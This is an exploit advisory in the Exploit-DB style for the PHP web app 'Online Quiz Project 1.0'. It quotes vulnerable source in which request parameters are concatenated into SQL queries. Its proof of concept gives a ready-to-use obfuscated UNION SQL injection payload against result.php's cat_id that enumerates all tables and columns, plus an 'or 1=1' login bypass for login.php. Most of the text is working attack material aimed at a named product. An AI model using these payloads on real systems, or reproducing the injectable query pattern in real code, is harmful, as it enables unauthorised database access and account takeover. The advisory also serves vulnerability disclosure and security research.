# # # # #
# Exploit Title: Online Quiz Project 1.0 - Multiple Vulnerabilities
# Dork: N/A
# Date: 17.08.2017
# Vendor Homepage : http://surajkumar.in/
# Software Link: http://surajkumar.in/product/online-quiz-project-php/
# Demo: http://surajkumar.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands...
# The vulnerability allows an attacker to access the user panel...
# 
# Vulnerable Source:
# # # # #
# <?php
# ....1
# if(isset($_POST['_login'])){
# $data=array();
# $data['user']=$_POST['_user'];
# $data['password']=$_POST['_password'];
# $userLogin=user_login($data);
# _t($userLogin);
# if($userLogin['bool']==fa
# 
# ....2
# $questionData='';
# if(isset($_GET['cat_id'])){
# $userData=get_result_by_user($_SESSION['user']['user_id'],$_GET['cat_id']);
# ....
# }else{
# $query=mysqli_query($db,"SELECT * FROM user_answered WHERE user_id='$user_id' AND cat_id='$cat_id'");
# }
# ....
# ?>
# # # # #
#   
# Proof of Concept:
# 
# 1:
# http://localhost/[PATH]/result.php?cat_id=[SQL]
# -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529)--+-&docname=0x30783330
# 
# 2:
# http://localhost/[PATH]/login.php
# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='
# 
# Etc...
# # # # #